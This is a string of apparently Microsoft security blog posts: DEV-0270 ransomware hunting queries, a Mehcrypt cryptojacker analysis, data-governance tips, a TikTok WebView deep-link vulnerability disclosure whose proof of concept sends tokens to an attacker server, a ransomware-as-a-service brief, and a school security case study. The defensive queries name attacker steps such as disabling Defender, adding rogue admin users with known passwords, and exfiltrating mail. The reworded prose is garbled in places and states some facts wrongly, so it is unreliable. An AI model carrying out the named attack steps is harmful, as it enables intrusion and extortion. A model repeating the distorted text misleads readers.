• https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270NewUserSep2022.yaml

Microsoft 365 Defender

Run the following queries to look for potential actor behavior.

Disable services via registry

Search for programs that disable security features by editing the registry.

DeviceProcessEvents
| where InitiatingProcessCommandLine has_all(@’”reg”’, ‘add’, @’”HKLM\SOFTWARE\Policies\’, ‘/v’,’/t’, ‘REG_DWORD’, ‘/d’, ‘/f’)
    and InitiatingProcessCommandLine has_any(‘DisableRealtimeMonitoring’, ‘UseTPMKey’, ‘UseTPMKeyPIN’, ‘UseAdvancedStartup’, ‘EnableBDEWithNoTPM’, ‘RecoveryKeyMessageSource’)

Modifying the registry to include a notification for a ransom message

Recognize registry changes that point to a ransom message associated with DEV-0270.

DeviceProcessEvents
| where InitiatingProcessCommandLine has_all(‘”reg”’, ‘add’, @’”HKLM\SOFTWARE\Policies\’, ‘/v’,’/t’, ‘REG_DWORD’, ‘/d’, ‘/f’, ‘RecoveryKeyMessage’, ‘Your drives are Encrypted!’, ‘@’)

DLLHost.exe file creation via PowerShell

Identify the PowerShell-made DLLHost.exe file that was disguised.

DeviceProcessEvents
| where InitiatingProcessFileName =~ ‘powershell.exe’
| where InitiatingProcessCommandLine has_all(‘$file=’, ‘dllhost.exe’, ‘Invoke-WebRequest’, ‘-OutFile’)

Add malicious user to Admins and RDP users group via PowerShell

Look for the PowerShell option to add a user to the Administrators group for remote desktop users.

DeviceProcessEvents
| where InitiatingProcessFileName =~ 'powershell.exe'
| where InitiatingProcessCommandLine has_all('$admins=', 'System.Security.Principal.SecurityIdentifier', 'Translate', '-split', 'localgroup', '/add', '$rdp=')

Email data exfiltration via PowerShell

Identify PowerShell-based email exfiltration.

DeviceProcessEvents
| where FileName =~ 'powershell.exe'
| where ProcessCommandLine has_all('Add-PSSnapin', 'Get-Recipient', '-ExpandProperty', 'EmailAddresses', 'SmtpAddress', '-hidetableheaders')

Create a new user with a known DEV-0270 username/password

Look for the creation of a new user that has a username and password that match the DEV-0270 specification.

DeviceProcessEvents
| where InitiatingProcessCommandLine has_all('net user', '/add')
| parse InitiatingProcessCommandLine with * "user " username " "*
| extend password = extract(@"\buser\s+[^\s]+\s+([^\s]+)", 1, InitiatingProcessCommandLine)
| where username in('DefaultAccount') or password in('P@ssw0rd1234', '_AS_@1394')

Exclusion path for Microsoft Defender of ProgramData added by PowerShell

Determine PowerShell as the process that excludes the ProgramData directory from Microsoft Defender’s monitoring.

DeviceProcessEvents
| where FileName =~ "powershell.exe" and ProcessCommandLine has_all("try", "Add-MpPreference", "-ExclusionPath", "ProgramData", "catch")

DLLHost.exe WMIC domain discovery

Use WMIC to locate dllhost.exe to find more hosts and related domains.

DeviceProcessEvents
| where InitiatingProcessFileName =~ "dllhost.exe" and InitiatingProcessCommandLine == "dllhost.exe"
| where ProcessCommandLine has "wmic computersystem get domain"

 

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Despite the recent decline in the value of cryptocurrencies, cryptojackers—trojanized currency miners that attackers disseminate to leverage the processing power of infected devices for their purposes—remain common. Every month for the previous few months, Microsoft Defender Antivirus has found cryptojackers on tens of thousands of computers. Additionally, these threats are still developing: recent cryptojackers have improved their secrecy by using living-off-the-land binaries (LOLBins) to avoid detection.

Figure 1. Chart showing number of devices on which Microsoft Defender Antivirus detected cryptojackers from January to July 2022.

Microsoft Defender Antivirus integrates with Intel® Threat Detection Technology (TDT), which applies machine learning to low-level CPU telemetry to detect threats even when the malware is obfuscated and can evade security tools, to provide advanced protection against these increasingly complex and evasive threats.

The defender uses this silicon-based threat detection to examine signals from the CPU performance monitoring unit (PMU) to find the “fingerprint” of malware code execution at runtime and to learn more about the CPU, where malware is ultimately executed. Effective defense against cryptojacking is made possible by the technology’s combination of monitoring at the hardware level, CPU usage pattern analysis, and use of threat intelligence and machine learning at the software level.

We discuss specifics from our monitoring and observation of cryptojackers in this blog article, as well as how the combination of Intel TDT and Microsoft Defender Antivirus detects and neutralizes this complex threat.

Analyzing the landscape of cryptojackers at the moment

Without the user’s knowledge or consent, there are lots of ways to force a device to mine bitcoin. The following are the three methods that cryptojackers most usually utilize:

• Executable: These are often malicious executable files or potentially unwanted applications (PUAs) that are installed on the devices to process bitcoins using the system resources.
• Browser-based: These miners often take the form of JavaScript (or similar technology) and operate in web browsers, using up resources on the website where they are hosted for as long as the browser is open. These miners are usually introduced without the owner’s knowledge or consent to trustworthy websites. In other instances, the miners are purposefully incorporated within websites that visitors would visit that are operated by attackers or are of lower quality.
• Fileless: These cryptojackers use legitimate tools and LOLBins to carry out mining in a device’s memory and maintain persistence.

Malicious code that is present in either the filesystem or a website and that is very simple to identify and block is used in both the executable and browser-based techniques. The fileless method, on the other hand, makes use of preinstalled tools or local system binaries to mine utilizing the device’s RAM. With this strategy, attackers can accomplish their objectives without depending on particular codes or files. Additionally, the fileless method makes it possible for cryptojackers to be supplied covertly and avoid detection. As a result, attackers find the fileless approach more appealing.

Even if newer cryptojackers employ the fileless method, one way to spot cryptojacking activity is when it communicates with the hardware that its mining algorithm depends on.

Misuse of LOLBins in recent cryptojacking campaigns

Microsoft Defender Antivirus detects cryptojackers on more than 200,000 devices per day using a variety of sensors and innovative detection techniques, including its connection with Intel TDT.

Figure 2. Chart showing the number of devices targeted by cryptojackers that misuse legitimate system binaries observed July 25-31, 2022.

In campaigns that have been seen, attackers strongly favor the misuse of notepad.exe over a lot of legitimate system utilities.

Figure 3. The chart shows that notepad.exe is the most abused tool based on the cryptojacking attacks observed from July 25-31, 2022.

We investigated a fascinating cryptojacking operation that made use of notepad.exe and some other programs to carry out its operations. An improved version of the cryptojacker known as Mehcrypt was employed in this campaign. This is a significant improvement over the previous version, which used a script to access its command-and-control (C2) server and download additional components that later carried out malicious actions. The new version also condenses all of its routines into a single script and connects to a C2 server in the final stage of its attack chain.

An archive file containing autoit.exe and a heavily disguised, randomly named.au3 script serves as the threat’s delivery device. Autoit.exe is started when the archive file is opened, and it decodes the.au3 script in memory. When the script is executed, it continues to decode more obfuscation layers and loads more decoded scripts into memory.

Figure 4. Infection chain of a new variant of Mehcrypt leveraging several binaries to launch its malicious routines.

The script then places a copy of itself and autoit.exe in a C:ProgramData folder with an optional name. The script sets autostart registry entries to run the script each time the device begins and sets a scheduled task to remove the original files.

Figure 5. The malware creates an autostart registry entry to maintain persistence.

The software first adds persistence mechanisms, uses process hollowing to load malicious code into VBC.exe, and then connects to a C2 server to listen for commands. The script uses process hollowing to load its cryptojacking code into notepad.exe based on the C2 response.

A sharp increase in CPU use can be seen at this moment as the malware launches its cryptojacking operation using malicious code injected into notepad.exe:

Figure 6. CPU usage shows a significant spike and continued maximum utilization as malicious activities are carried out. 

Both Intel TDT and Microsoft Defender Antivirus examine this unusually high CPU utilization in real time. Microsoft Defender Antivirus blocks the execution of the process (Behavior: Win32/CoinMiner.CN!TDT), and Microsoft Defender for Endpoint raises an alert based on Intel TDT’s machine learning-based correlation of CPU telemetry and other suspicious activities like process injection into system binaries.

Technology for advanced threat detection helps stop cryptojacking activities

Microsoft Defender Antivirus and Intel TDT jointly monitor and correlate hardware and software threat data to find evasive cryptojackers. Utilizing signals from the CPU, Intel TDT uses machine learning to identify patterns that resemble cryptojacking activities. The action is then recognized and blocked at the software level using these signals, threat information, and machine learning algorithms from Microsoft Defender Antivirus.

To provide continuous monitoring, Intel TDT has implemented some performance improvements and optimizations, such as shifting the machine learning inference to Intel’s integrated graphics processing unit (GPU). From the 6th generation onward, Intel Core™ processors and platforms bearing the Intel vPro® name are compatible with this feature. When appropriate, Microsoft Defender Antivirus uses these offloading features by design.

The threat intelligence that feeds into products like Microsoft Defender Antivirus and Microsoft Defender for Endpoint, where information is transformed to customer security in real-time, is powered by Microsoft’s consistent monitoring of the threat landscape in addition to industry collaborations.

 

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Your data is a useful resource. Data needs strong controls over its structure, access, and lifetime to be beneficial to your organization. Nearly 70% of chief information security officers (CISOs) anticipate having their data compromised in a ransomware attack, but most security leaders are suspicious about data security. Part of the issue is traditional data-management solutions, which tend to be overly complex with numerous disconnected, redundant processes augmented with point-wise integrations. This random method may reveal infrastructure weaknesses that attackers will take advantage of.

In contrast, proactive data governance offers a comprehensive strategy that saves money and makes it easier to protect your data assets. An essential element of Zero Trust security, this integrated approach to data governance covers the whole lifecycle of your data. Additionally, by reducing the blast radius and limiting an attacker’s ability to move laterally within your network, it lowers the cost associated with a data breach. Microsoft Purview delivers a complete data governance solution designed to help manage your on-premises, multi-cloud, and software-as-a-service (SaaS) data. We’ve put together five guidelines to help you get more value out of your data.

1. Organize all of your data assets into a data map

You must be aware of where your data is kept and who has access to it to protect it. This entails writing in-depth descriptions of all data assets throughout your whole digital estate, detailing data categories, access methods, and owner information. A completely managed data scanning and classification service that takes care of automated data discovery, sensitive data classification, and mapping of an end-to-end data lineage for every asset are ideal. Additionally, you should mark the data with well-known commercial and technical search terms to make it simple to find.

Any data map must include storage, which must comprise technical, business, operational, and semantic metadata. This information comprises columns, data types, formats, and other details that can be easily found by automated data scanning. Automated tagging of items like descriptions and glossary terms should be part of business metadata. Operational metadata can comprise data flow activity like run status and run time, while semantic metadata can include mapping to data sources or classifications.

2. Create a framework for accountability and decision

The roles and duties of each asset must be documented once you are aware of where all of your data is. Respond to these first seven basic inquiries:

• How are our data used and accessed?
• Who takes responsibility for our data?
• How will we react if operational or legal needs change?
• What steps must be taken to revoke access in the event of a role change or employee departure?
• Have we put monitoring and reporting in place to monitor data access?
• How do we manage the lifecycle?
• Are we automating the management of permits to enforce compliance and security?

You should create a thorough lifecycle for data access that accounts for employees, visitors, partners, and vendors as an answer to question number one. Consider the person’s job and the intended use of the data when evaluating what information they may require access to. The level of access needed for each role should be determined by business unit executives.

Your IT and security partners can develop role-based access controls (RBAC) for each employee position and partner or vendor request based on the data gathered. Following that, the compliance team will be in charge of monitoring and reporting to make sure that these controls are implemented. By preventing unauthorized usage and malicious exploitation of permissions, using a permissions management solution can also benefit your organization. Your business can decrease IT workloads, save money, and increase user productivity by automatically identifying unusual alerts.

3. Monitor access and use policies

Documenting each data repository’s policies comes next. Decide who has access to the data, including read-only vs. write-access, and how it can be shared and used by external users or in other applications. Will your company use this repository to store personally identifiable information (PII) such as names, ID numbers, and IP addresses? It is essential to apply the Zero Trust principle of least privilege or just-in-time (JIT) access when dealing with any sensitive data.

The JIT permissions model narrows the attack surface to only those times when privileges are being used, strengthening the idea of least privilege (unlike the all-day, everyday attack surface of standing privileges). This is comparable to the just-enough privilege (JEP), in which a user makes a request outlining the task and data they require access to. The user is provided with a temporary identity to accomplish the task if the request is granted. The identity can be erased or disabled after the task is finished. Another strategy is to create standing privileged accounts and then remove access to them using a “broker-and-remove-access” strategy. When seeking to utilize one of the accounts to access data for a specific time, users must then explain their request.

By keeping a record of each request for higher access, whether it is granted or declined, as well as the date the access was revoked, your business can safeguard itself. All businesses must be able to show auditors and authorities that privacy policies are being followed, especially those that store personally identifiable information (PII). Your business can stay out of problems during audits by getting rid of standing privileged accounts.

4. Data tracking for both structured and unstructured data

Data governance has typically concentrated on corporate documents and emails. However, more strong regulations now demand that businesses guarantee the security of all data. Structured and unstructured data shared on cloud apps, on-site data, shadow IT apps, everything is included in this. Structured data, such as that found in Microsoft Office or Google Docs, consists of precisely defined data kinds with searchable patterning. Anything else, such as audio files, films, and even social network posts, can be included in unstructured data.

Therefore, with such a huge data landscape, should you leave it up to each asset owner to develop their data protections? Creating a matrixed approach to data governance, where security and compliance specialists support data owners in meeting standards for securing their data, is an alternative that some of Microsoft’s users have embraced. In this case, a “common data matrix” is employed to monitor how data domains are utilized throughout your company.

This might be useful in identifying which parts of your company are allowed to only create data as opposed to reading, accessing, or removing data assets. The source of the data, including any employed shadow IT systems, should be identified by your data matrix. Be sure to record any domains and subdomains that contain confidential or sensitive information that is subject to regulation from the government. Additionally, by outlining roles and duties for each business unit, everyone will be able to understand who is in charge of adding data to systems, who is responsible for it, and who is using specific data for what tasks.

5. Remove any outdated data from your system

Given that most IT staff are already overworked, forcing them to stand guard over huge data lakes is not a formula for security. “Dark data,” which organizations pay to retain but go unused in decision making, is already rising at a rate of 62% each year. How do you determine when a piece of data is no longer helpful to your company?

Data deletion is sometimes the simplest approach to protect it. Less data means lower risk, which is consistent with the Zero Trust idea of “assume breach.” Theft of intellectual property (IP) can be financially risky, but the long-term effects on your brand from the theft of client PII can be disastrous. Businesses are required by privacy rules to preserve PII only for as long as necessary; however, it would be extremely hard to manually keep track of which data need to be deleted. Implementing continuing controls to automatically expire PII or setting up automated reminders for assessing sensitive data to determine whether it is still needed are better ways.

It is simpler to remove data when it is no longer required when you are aware of its lifecycle. You may automate the process by having an integrated data governance solution with clever machine learning capabilities to categorize information as it is created and automatically apply the proper sunset policies. Or, to automatically apply a new label after a retention term, use multi-stage retention regulations.

 

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In the TikTok Android app, Microsoft found a high-severity vulnerability that could have given attackers access to users’ accounts with just one click. The vulnerability has been patched, and we were unable to find any proof of in-the-wild exploitation, which would have needed numerous vulnerabilities to be chained together. If a targeted user had simply clicked a specially crafted link, attackers might have taken advantage of the vulnerability to steal an account without the users’ knowledge. Attackers may then have gained access to users’ TikTok profiles and private information and altered it, such as by making public-private videos, sending messages, or posting videos on users’ behalf.

The app’s deep link verification may have been subverted thanks to the issue. Attackers might force the app to load a random URL to its WebView, enabling that URL to access the WebView’s connected JavaScript bridges and provide the attacker access to functionality. We’ve already investigated the possibly broad implications of JavaScript bridges. This study highlights the need for vigilance when clicking unknown links and demonstrates how the security community must work together to improve defenses for the entire digital ecosystem.

For East and Southeast Asia, TikTok’s Android app is available in two flavors: com.ss.android.ugc.trill for that area, and com.zhiliaoapp.musically for the rest of the world. We conducted a vulnerability evaluation of TikTok and found that the problems were present in both Android versions of the app, which had collected over 1.5 billion downloads through the Google Play Store. As part of our responsible disclosure policy, a Microsoft security researcher informed TikTok of the issues in February 2022 via Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Users can check the CVE entry for additional details. TikTok swiftly replied by providing a fix to address the reported vulnerability, which is now known as CVE-2022-28799. We applaud the TikTok security team’s quick and competent response. Users of TikTok are urged to make sure they are running the most recent version of the application.

We discuss the issues we found in this blog post, look at how they might have been used in an attack to stealthily and rapidly take control of specific users’ accounts, and go over best practices and safeguards. To constantly increase security for everyone, irrespective of the platform or device being used, we also share information of our research, disclosure, and engagement with the greater security community as dangers across platforms continue to increase.

JavaScript interfaces

The app’s implementation of JavaScript interfaces, which are made available by the Android operating system’s WebView component, is what allows the vulnerability to be exploited. Using the addJavascriptInterface API call, WebView enables programs to load and display web pages while also offering bridge capability that enables JavaScript code on the web page to call specified Java methods of a particular class in the app. The program becomes subject to JavaScript interface injection when loading untrusted online material to WebView with objects accessible via JavaScript code. This can result in data leakage, data corruption, or, in rare situations, arbitrary code execution.

An instance of the JsObject class is injected into WebView in our example’s code (line 8), and it is then referenced by the injectObject variable within the JavaScript code, which is loaded using the loadUrl API method (line 10). This code shows how a JavaScript interface is utilized.

Figure 1. Adding a JavaScript interface to a WebView object

Any function of the injected class was accessible to this JavaScript code before Android API level 18 (introduced in 2013 with Android 4.3). Only class methods annotated with the “@JavascriptInterface” annotation can be called starting with API level 18. (depicted above in line 2).

JavaScript bridge

TikTok for Android makes considerable use of JavaScript interfaces to improve WebView functionality. We discovered a class of potential users for such a WebView. The [redacted].bridge.* package’s classes implement every type of capability, and this registers a JavaScript bridge with access to them all. This bridge makes the following technique visible:

Figure 2. Rendering the method callable via the JavaScript code

The func and params properties are the two that matter the most when it comes to the arg1’s JSON string representation.

The params element specifies the arguments that this method accepts, while the func attribute specifies the name of the Java method that is called from the JavaScript code. For instance, the following sentence must be used to call the Java function foo(String arg1, String arg2) from JavaScript code:

Figure 3. Example code invoking a Java method via the JavaScript interface.

A callback defined in the JavaScript code that accepts a single string as an argument receives the output as a JSON string.

Figure 4. Interaction between Java and web components using the JavaScript interface

The idea is illustrated in the above figure, which also shows the stages:

• The program opens its WebView and loads the webpage example.com.
• The Java function is called by the JavaScript code, which is downloaded from the remote server.
• The process is carried out
• The callback function receives the result as an argument.

Finally, using an XMLHttpRequest, a built-in browser object that may also be used during an attack to send stolen data to an attacker’s server, the handler method can process the result locally or send it to an external server.

Investigating deep links

In the end, it was discovered that the app’s handling of a particular deeplink was where the vulnerability itself lay. A deeplink is a specific hyperlink that, in the context of the Android operating system, links to a particular element within a mobile app and is made up of a scheme and (typically) a host portion. The Android package manager searches all installed programs when a deeplink is selected to see which one can handle it. It then sends the deeplink to the component designated as its handler. To be used by components not directly related to the application, a deeplink must be defined in the manifest of the application:

Figure 5. An example of adding an intent filter in the app’s manifest for deep linking

In the example above in Figure 5,

1. The user selects the http://www.example[.]com/gizmos link. Since the scheme can be handled by many applications, the system then displays a dialog box, also known as an ambiguity dialog, similar to the one seen in Figure 6 below.
2. GizmosActivity, the component designated as the deeplink handler, in this case, is directly reached by a deeplink in the form of example:/gizmos.

Figure 6. Ambiguity dialog

An application may declare an Android App Link by utilizing the autoVerify property in its intent filter to tell the system to check the association between the app and the defined URL domain to skip the ambiguous dialog for HTTP and HTTPS protocols. Additionally, a JSON file with the package name of the application and the SHA256 fingerprint of its certificate needs to be published in https://domain.name/.well-known/directory. For the domain m.tiktok.com, TikTok for Android makes use of this capability, which means any links matching the particular domain will be forwarded to the program without displaying an ambiguous dialog.

In addition to deeplinks that are declared in the Android manifest, an application can also use internal deeplinks to transfer data across its parts. An “unable to resolve Intent” error message will be displayed if you attempt to open an internal deeplink from outside the program, such as in a web browser because the system can’t direct you to the right handler.

Vulnerability findings

Understanding the many factors at play, such as how the app implements JavaScript APIs, that enable the vulnerability to be abused is crucial since they affect how the vulnerability is exploited. We looked at how the app handled a specific deep link and found some problems that, when combined, could have been leveraged to force the app to load any URL into the WebView. It was possible to inject an instance of the JavaScript bridge that gives complete access to the functionality supplied by the [redacted].bridge.* package by carefully creating this URL with additional query parameters.

The vulnerability’s technical description is provided below. We used the TikTok Android app with the package name com.zhiliaoapp.musically to conduct our analysis. The TikTok Android app, com.ss.android.ugc.trill fits the same description because the vulnerabilities were discovered in widely used SDKs.

Triggering the app’s internal deeplinks

TikTok for Android employs a variety of deeplinking techniques, some of which are exported via the manifest and others that are only used by the application itself. Among the exported ones, the [redacted] class handles the https://m.tiktok[.]com/redirect link, which is used to redirect URIs to various application components via a query parameter:

Figure 7. Identifying deeplinks and their targeted activities using Medusa

We found that the query parameter can be used to invoke non-exported activities and internal deeplinks, increasing the attack surface of the application. This redirection to internal deeplinks, in TikTok’s opinion, doesn’t cause any further issues.

As a proof of concept, we created a URL that loads https://www.tiktok[.]com to the application’s WebView using a specific non-exported scheme, as seen in Figure 8 below:

Figure 8. Using a link to trigger an internally used scheme and load Tiktok.com.

Despite the [redacted-internal-scheme]:/webview, though? When loading URLs to the CrossPlatformActivity’s WebView using the query parameter url=website> deeplink, the application imposes filters to disallow untrusted hosts. Figure 8 shows that the Tiktok.com domain loaded properly, however, Figure 9 shows that the application filters refused the domain Example.com:

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Figure 9. The application’s filters rejecting the [redacted-internal-scheme]://webview?url=https://www.example[.]com deeplink

The filtering happens on the server, and whether to load or reject a URL depends on the response to a specific HTTP GET request. Our static analysis revealed that by adding two extra parameters to the deeplink, it is possible to get around the server-side check.

We used the WebView module of Medusa to dynamically confirm that the WebView associated with the activity creates instances of the JavaScript bridge. The website associated with the [redacted-scheme]:/webview scheme’s query parameter now has complete access to the JavaScript bridge, allowing its JavaScript code to access and use any accessible functionality contained in the [redacted].bridge.* package.

Exposed functionality

We counted more than 70 exposed methods after reviewing the functionality available to JavaScript code in web pages loaded to WebView. These approaches can be used to give functionality to attackers when combined with an exploit to hijack WebView, like the problem we found. While some of the disclosed methods can make authenticated HTTP calls to any URL provided as a parameter, others can access or modify users’ sensitive information. Additionally, the method provides the server’s response along with the headers and accepts some parameters in the form of a JSON string that can be used to create the body of a POST request.

By invoking such methods, an attacker can:

By initiating a request to a controlled server, logging the cookie and the request headers, and retrieving the user’s authentication tokens.
By initiating a request to a TikTok endpoint and obtaining the response via the JavaScript callback, it is possible to retrieve or edit the user’s TikTok account data, such as private videos and profile settings.

Proof of concept

In the proof of concept that follows, the attacker targets a TikTok user and gives them a specially constructed link. The software then alters the user’s biographical information to read “!!” once the user clicks the link, sending the video uploading authentication tokens back to the attacker. BREACH IN SECURITY!! ”:

When a targeted TikTok user clicks the attacker’s carefully designed malicious link, the attacker’s server, https://www.attacker[.]com/poc, is given complete access to the JavaScript bridge and is free to use any exposed feature. The server of the attacker sends back an HTML page with JavaScript code that modifies the user’s profile biography and sends video upload tokens back to the attacker.

The attacker receives the authentication tokens for uploading videos via an XMLHttpRequest. The header and body of the reply are likewise sent to the attacker, as seen in Figures 10 and 11 below:

Figure 10. The request headers retrieved by the attack

Figure 11. The server’s reply including the headers

The final message was “!! BREACH IN SECURITY!!! ” is set in the biography of the user profile:

Figure 12. Compromising the user’s profile integrity

JavaScript interface best practices

As demonstrated by this instance and our earlier research, employing JavaScript APIs comes with major programming hazards. The ID and privileges of the application could potentially be used by attackers to execute code through a JavaScript interface that has been hacked. Therefore, we advise the developer community to be aware of the dangers and adopt additional security measures to protect WebView.

We advise utilizing an approved list of trusted domains to be loaded to the application’s WebView to prevent loading dangerous or untrusted online content in situations when using JavaScript APIs cannot be avoided. Additionally, we advise utilizing the subsequent secure coding techniques:

• To open URLs that are not on the application’s allowed list, use the default browser.
• Maintain the approved list up to date and keep track of the included domains’ expiration dates. This can stop hackers from using an expired domain on the list of permitted domains to hijack WebView.
• Avoid comparing and verifying a URL with the accepted list of trusted domains using partial string comparison methods.
• Avoid adding stage or internal network domains to the list of permitted domains because an attacker could spoof these domains to take control of WebView.

Responsible disclosure and industry cooperation enhance everyone’s security

Adversaries continue to concentrate on locating and exploiting unpatched vulnerabilities and misconfigurations as a route to access systems and sensitive information for malicious reasons, leveraging new threats, methodologies, and attacker capabilities. As part of our dedication to always improving security from Microsoft, not just for Microsoft, we must broaden our knowledge and skills into additional devices and platforms to respond to the evolving threat landscape.

To ensure Microsoft Defender Vulnerability Management discovers and alerts on installed programs with known vulnerabilities—including those impacting non-Windows devices—we employ collaborative research like this to enhance our security technologies across platforms. Although we are not aware of any active exploitation of this vulnerability in the wild, users can still take the following security precautions to protect themselves:

• Avoid clicking on links from sources you don’t trust.
• Always maintain the devices and loaded apps up to date.
• Never install applications from untrusted sources
• Report any unusual application behavior—like setting changes that happen without user input—immediately to the vendor.

We notified the vulnerability to TikTok in February 2022 as instructed on its website as part of our responsible disclosure policy through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). The issue, identified as CVE-2022-28799, was immediately given a high severity rating of 8.3 and a fix was incorporated in an updated version of the software that was made available less than a month after the vulnerability was first discovered. We appreciate the TikTok security team’s quick and efficient work in finding solutions to these problems.

This example demonstrates how effective problem mitigation requires the capacity to organize research and threat intelligence sharing through professional, cross-industry collaboration. Vulnerability disclosures, coordinated responses, and other types of threat information sharing are required to ensure secure users’ computing experiences, regardless of the platform or device in use, since attacks across platforms continue to expand in number and sophistication. To improve everyone’s protection, we will keep collaborating with the greater security community to exchange research and threat intelligence.

 

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The “as a service” business model has become increasingly popular since customers are now able to receive important services from third-party suppliers thanks to increased cloud use. Given the ease and adaptability of service offers, it may not be a surprise that cybercriminals use the “as a service” concept for bad intentions.

Cybercriminals can buy and sell access to ransomware payloads, leaked data, RaaS “kits,” and some other tools on the dark web when they use ransomware as a service (RaaS). In the second installment of Cyber Signals, Microsoft’s quarterly brief that highlights threat topics based on its 43 trillion signals of data and research by more than 8,500 security experts, we discuss this subject. It’s one of the numerous tools offered on the Microsoft Security Insider website, where you can also access the most recent cybersecurity insights and threat intelligence updates.

Microsoft has been keeping an eye on the rise of human-operated malware. These threats are very damaging and destructive to organizations because they are led by people who make decisions at every step of the attack. RaaS operations, like REvil and the now-defunct Conti, have the infrastructure for malware attacks and even the organizational data that is needed to run ransomware operations. They then charge a fee to access these tools on the dark web. These RaaS kits are purchased by affiliates, who then use them in corporate settings. RaaS may include bundled offers, user review forums, and customer service assistance just like legitimate “as a service” offerings.

Ransomware as a service: Attractive to hackers, difficult for businesses

Cybercriminals used simple configuration problems in software and hardware, which can be fixed by following security best practices, in more than 80% of ransomware attacks. Therefore, ransomware developers are not utilizing any cutting-edge methods. A difference can be made in an organization’s resilience to these attacks by following the same advice regarding timely patching, credential hygiene, and a careful review of changes to software and system settings and configurations. The fact that some hackers have chosen to remove the malware payload presents another difficulty. By threatening to release or sell the target organization’s data on the dark web, they extort money while stealing their data.

Because of this, businesses that focus only on searching for the ransomware payload run the danger of experiencing a successful attack and extortion. Finally, RaaS is very likely to continue to be a concern for enterprises all over the world due to how simple it is for cybercriminals.

Cybercriminals can get some benefits from using ransomware as a service, including:

• These ransomware kits make it possible for persons with little or no technical knowledge to install malware, they lower the entrance barrier for cybercriminals interested in carrying out ransomware attacks.
• Anyone with a laptop and a credit card can access the dark web, buy RaaS kits, and participate in the gig economy using RaaS, it helps to conceal the identity of the cybercriminals who carried out the attack. Governments, law enforcement, the media, security researchers, and defenders will therefore have a harder time identifying the perpetrator of the assaults.

Actions are taken by Microsoft to share threat intelligence insights

Microsoft analyzes more than 43 trillion threat signals per day and makes use of the special expertise of more than 8,500 experts—threat hunters, forensics investigators, malware engineers, and researchers supporting our threat intelligence community and customers—to gain deep insights into the constantly changing threat landscape and threat actors. These professionals have specialized knowledge in particular fields, including vulnerabilities, threat actors, ransomware, supply chain risk, social engineering, and geopolitical challenges.

To fully comprehend the end-to-end scope of these cybercriminals’ attacks and activities, Microsoft focuses on obtaining knowledge about their behaviors, strategies, tools, and approaches. We think cybersecurity information should be widely circulated. Our analysis is available on Security Insider, our source for threat intelligence and advice, in our security intelligence blogs, the Microsoft Digital Defense Report, and Cyber Signals, our quarterly briefing.

We recognize that managing the numerous tasks required to expand a business leaves organizations with very little time to keep up with the most recent security threats, much less to anticipate and stop extortion threats. To assist enterprises in securing their staff, clients, and partners, we are committed to spreading the threat insights we have collected to the cybersecurity community. We are all defenders of cybersecurity. We can overcome these threats if we work together.

Ways to keep your business safe

Companies may assist in preventing attacks by investing in integrated threat protection across devices, identities, apps, email, data, and the cloud because hackers rely on security breaches they can exploit. Here are three key tactics for defending your surroundings against RaaS attacks:

1. Prepare to defend and recover: Adopt a zero-trust strategy, which entails completely authenticating, approving, and encrypting every access request before providing it. Using this strategy also entails taking precautions to protect your data and backups.
2. Protect identities from compromise: Protect network credentials and stop attackers’ use of lateral movement to avoid detection as they move across your organization looking for assets to steal or damage.
3. Prevent, detect, and respond to threats: Utilize integrated security information and event management (SIEM) with extended detection and response to provide full prevention, detection, and response capabilities (XDR). This entails being aware of common attack vectors, such as remote access, email and collaboration, endpoints, and accounts, and taking measures to prevent attackers. And, most significantly, make sure that you are performing inside-out protection that is concentrated on data security, information protection, and insider risk management in addition to outside-in protection.

Knowing the threat landscape is the first step in developing a strong security posture. Microsoft is still strongly committed to working with our entire community to share intelligence and create a safer environment for everyone.

 

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According to the K-12 Cybersecurity Resource Center, hundreds of K–12 schools in the United States alone face cyberattacks each year, with 408 schools disclosing them publicly in 2020, an increase of 18% from the year before.

The fourth-largest school district in Georgia, Fulton County Schools, has discovered the value of installing a top-notch security system. The Chief Information Officer (CIO) of Fulton County Schools, Dr. Emily Bell, developed thorough planning that included teaching and informing school administrators and personnel about cybersecurity to fight against threats. Microsoft has resources as part of its comprehensive cybersecurity plan.

“As a Chief Information Officer, it is incumbent upon me to make sure that my leadership is aware of our cybersecurity incident response process,” said Dr. Bell. “I also want to educate district leaders on our cyber insurance coverage and what that means.”

Microsoft Defender for Office 365 was used by Fulton County Schools to keep all of its technology safe and secure and to help in preventing disruptions to student learning.

Microsoft solutions addressing cybersecurity concerns

Insecure users are continuously searching for holes in educational IT networks. Leaders in Fulton County Schools were aware of the importance of selecting a security system capable of protecting the district’s extensive network of 107 schools and 95,000 pupils. Other tools and techniques had been attempted, but they soon recognized they needed more. They choose to use Microsoft 365 A5 educational license security features to monitor, identify, and mitigate any risks after examining its capabilities.

All Office 365 applications are safeguarded against cutting-edge attacks by Microsoft Defender, which is included in the A5 license. Additionally, it has the skills needed to deal with malware, phishing, ransomware, and compromised credentials as well as other cybersecurity issues. Internet security experts are particularly concerned about distributed denial-of-service (DDoS) assaults because they aim to obstruct a server, service, or network’s regular traffic by saturating it with Internet traffic or its supporting infrastructure. Dr. Bell was confident that Microsoft security would offer a comprehensive solution given these high-level advantages, therefore the district implemented it.

How a possible threat showed the strength of Microsoft tools

A recent incident demonstrated how important and practical Microsoft security technologies were to Fulton and the necessity of constant contact with leadership in the event that a threat is reported.

At Fulton, exactly that took place. A threat was reported to Dr. Bell and the district superintendent at the same time.

Dr. Bell and her team illustrated how incidents are handled behind the scenes at the proper level of urgency based on assessed risk to reassure district leadership, including the superintendent. This increased trust in Fulton’s ability to deal with the risks that schools throughout the nation eventually face in the Internet age.

A single 30-day period alone saw 39 ransomware attempts, all of which were contained and eliminated; 712 malware attempts, all of which were blocked; 983 compromised credentials, which were mitigated by automatically disabling accounts; and 254,255 phishing attempts, of which nearly 89% were not successful, according to Dr. Bell. The ability to successfully foil all of these attempts was important to ensure that classes could continue uninterrupted for the students.

“What was reported to the superintendent never even rose to the level of ‘incident.’ We had a report, then we found, contained, and eradicated the threat, and nothing came of it,” said Dr. Bell. “It turned out to be a fire drill for us.”

threat detection, containment, and eradication

Dr. Bell has also assembled a task force of leaders from other departments to help manage risk around-the-clock because support from many departments is important for keeping things moving smoothly.

Additionally, Fulton and Forsyte I.T. Solutions have an ongoing connection that enables Fulton to install Microsoft’s cutting-edge security capabilities in the district’s Microsoft 365 A5 subscription.

